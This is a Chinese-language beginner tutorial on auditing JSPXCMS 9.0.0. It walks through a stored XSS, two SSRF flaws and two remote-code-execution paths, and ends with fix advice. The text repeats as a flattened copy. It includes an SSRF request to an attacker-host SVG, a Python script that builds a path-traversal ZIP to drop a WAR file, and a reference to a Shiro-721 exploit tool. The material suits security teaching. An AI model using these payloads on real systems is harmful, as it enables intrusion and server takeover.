第一次java代码审计供新手学习
字数 1363 2025-08-06 18:08:01

Java代码审计入门教学文档:JSPXCMS 9.0.0审计实战

前言

本文是针对JSPXCMS 9.0.0系统的Java代码审计入门教程,适合刚接触Java代码审计的新手学习。通过本教程,您将学习到如何搭建审计环境、发现并分析XSS、SSRF和RCE等常见漏洞。

环境搭建

所需资源

搭建步骤

  1. 解压源码包
  2. 使用IntelliJ IDEA导入项目
  3. 创建数据库并导入数据库文件
  4. 配置数据库连接
  5. 加载Maven依赖(注意根据本地数据库版本调整依赖版本)
  6. 启动SpringBoot应用

后台访问地址:http://127.0.0.1:8080/cmscp/index.do

XSS漏洞审计

漏洞发现

  1. 在文章评论处尝试XSS未成功
  2. 在"我的空间"->"评论"处发现XSS触发

代码分析

  1. 搜索comment_submit找到评论提交入口

  2. 跟踪text参数的走向

  3. 发现存储时未进行过滤:

    // 直接存储评论内容
    commentService.save(bean);
    
  4. 分析触发点:

    • 搜索space找到相关模板
    • 发现使用Freemarker模板引擎
    • 检查转义情况:
      <#escape x as x?html>
      
    • 发现部分页面未添加转义指令

关键点

  • 存储型XSS
  • 输入未过滤,输出未转义
  • 漏洞触发路径:/space/comment_list.do?type=comment

SSRF漏洞审计

第一处:编辑器图片抓取

漏洞发现

  1. 搜索关键函数:

    URL.openConnection()
    URL.openStream()
    
  2. 找到catchImage方法

代码分析

  1. 参数来源:

    String[] sources = Servlets.getParameterValues(req, "source[]");
    
  2. 漏洞路径:/core/ueditor.do?action=catchimage

  3. 漏洞利用:

    • 后台SSRF
    • 可请求任意URL并保存返回内容
    • 仅验证是否为图片(可通过SVG绕过)

测试验证

POST /cmscp/core/ueditor.do?action=catchimage
source[]=http://attacker.com/malicious.svg

第二处:URL抓取功能

漏洞发现

  1. 搜索关键函数:

    HttpClient.execute()
    
  2. 找到fetchUrl方法

代码分析

  1. 参数来源:

    String url = Servlets.getParameter(req, "url");
    
  2. 漏洞路径:/cmscp/ext/collect/fetch_url.do

测试验证

GET /cmscp/ext/collect/fetch_url.do?url=http://127.0.0.1:8080

RCE漏洞审计

第一处:ZIP解压导致任意文件写入

漏洞发现

  1. 后台发现上传功能
  2. 上传ZIP文件会自动解压

代码分析

  1. 跟踪zipUpload方法

  2. 关键代码:

    // 解压ZIP文件
    FileUtils.unzip(tmpFile, destDir);
    
  3. 无过滤直接写入文件系统

漏洞利用

  1. 制作恶意WAR包

  2. 使用Python脚本构造跨目录ZIP:

    import zipfile
    file = zipfile.ZipFile('shell.zip','w',zipfile.ZIP_DEFLATED)
    with open('test.war','rb') as f:
        data = f.read()
    file.writestr('../../../test.war',data)
    file.close()
    
  3. 上传后访问/test/路径触发

第二处:Shiro反序列化漏洞

漏洞发现

  1. 检查pom.xml发现Shiro版本为1.3.2
  2. 符合Shiro-721漏洞条件

漏洞利用

  1. 使用Shiro-721利用工具:Shiro-721-Exploit
  2. 需要有效的rememberMe cookie
  3. 执行反序列化攻击

总结

审计要点

  1. 输入输出处理:检查所有用户输入的过滤和输出转义
  2. 危险函数:搜索URL.openConnection()HttpClient.execute()
  3. 文件操作:检查上传、解压等文件操作的安全控制
  4. 框架漏洞:检查依赖库版本和已知漏洞

修复建议

  1. 对所有用户输入进行严格过滤
  2. 实现输出编码
  3. 限制SSRF的目标地址
  4. 对ZIP解压进行安全限制
  5. 升级Shiro到最新安全版本

通过本案例学习,新手可以掌握基本的Java代码审计方法和常见漏洞挖掘技巧。

Java代码审计入门教学文档:JSPXCMS 9.0.0审计实战 前言 本文是针对JSPXCMS 9.0.0系统的Java代码审计入门教程,适合刚接触Java代码审计的新手学习。通过本教程,您将学习到如何搭建审计环境、发现并分析XSS、SSRF和RCE等常见漏洞。 环境搭建 所需资源 源码下载: jspxcms-9.0.0-release-src.zip 安装包(部署到Tomcat): jspxcms-9.0.0-release.zip 搭建步骤 解压源码包 使用IntelliJ IDEA导入项目 创建数据库并导入数据库文件 配置数据库连接 加载Maven依赖(注意根据本地数据库版本调整依赖版本) 启动SpringBoot应用 后台访问地址: http://127.0.0.1:8080/cmscp/index.do XSS漏洞审计 漏洞发现 在文章评论处尝试XSS未成功 在"我的空间"->"评论"处发现XSS触发 代码分析 搜索 comment_submit 找到评论提交入口 跟踪 text 参数的走向 发现存储时未进行过滤: 分析触发点: 搜索 space 找到相关模板 发现使用Freemarker模板引擎 检查转义情况: 发现部分页面未添加转义指令 关键点 存储型XSS 输入未过滤,输出未转义 漏洞触发路径: /space/comment_list.do?type=comment SSRF漏洞审计 第一处:编辑器图片抓取 漏洞发现 搜索关键函数: 找到 catchImage 方法 代码分析 参数来源: 漏洞路径: /core/ueditor.do?action=catchimage 漏洞利用: 后台SSRF 可请求任意URL并保存返回内容 仅验证是否为图片(可通过SVG绕过) 测试验证 第二处:URL抓取功能 漏洞发现 搜索关键函数: 找到 fetchUrl 方法 代码分析 参数来源: 漏洞路径: /cmscp/ext/collect/fetch_url.do 测试验证 RCE漏洞审计 第一处:ZIP解压导致任意文件写入 漏洞发现 后台发现上传功能 上传ZIP文件会自动解压 代码分析 跟踪 zipUpload 方法 关键代码: 无过滤直接写入文件系统 漏洞利用 制作恶意WAR包 使用Python脚本构造跨目录ZIP: 上传后访问 /test/ 路径触发 第二处:Shiro反序列化漏洞 漏洞发现 检查 pom.xml 发现Shiro版本为1.3.2 符合Shiro-721漏洞条件 漏洞利用 使用Shiro-721利用工具: Shiro-721-Exploit 需要有效的rememberMe cookie 执行反序列化攻击 总结 审计要点 输入输出处理:检查所有用户输入的过滤和输出转义 危险函数:搜索 URL.openConnection() 、 HttpClient.execute() 等 文件操作:检查上传、解压等文件操作的安全控制 框架漏洞:检查依赖库版本和已知漏洞 修复建议 对所有用户输入进行严格过滤 实现输出编码 限制SSRF的目标地址 对ZIP解压进行安全限制 升级Shiro到最新安全版本 通过本案例学习,新手可以掌握基本的Java代码审计方法和常见漏洞挖掘技巧。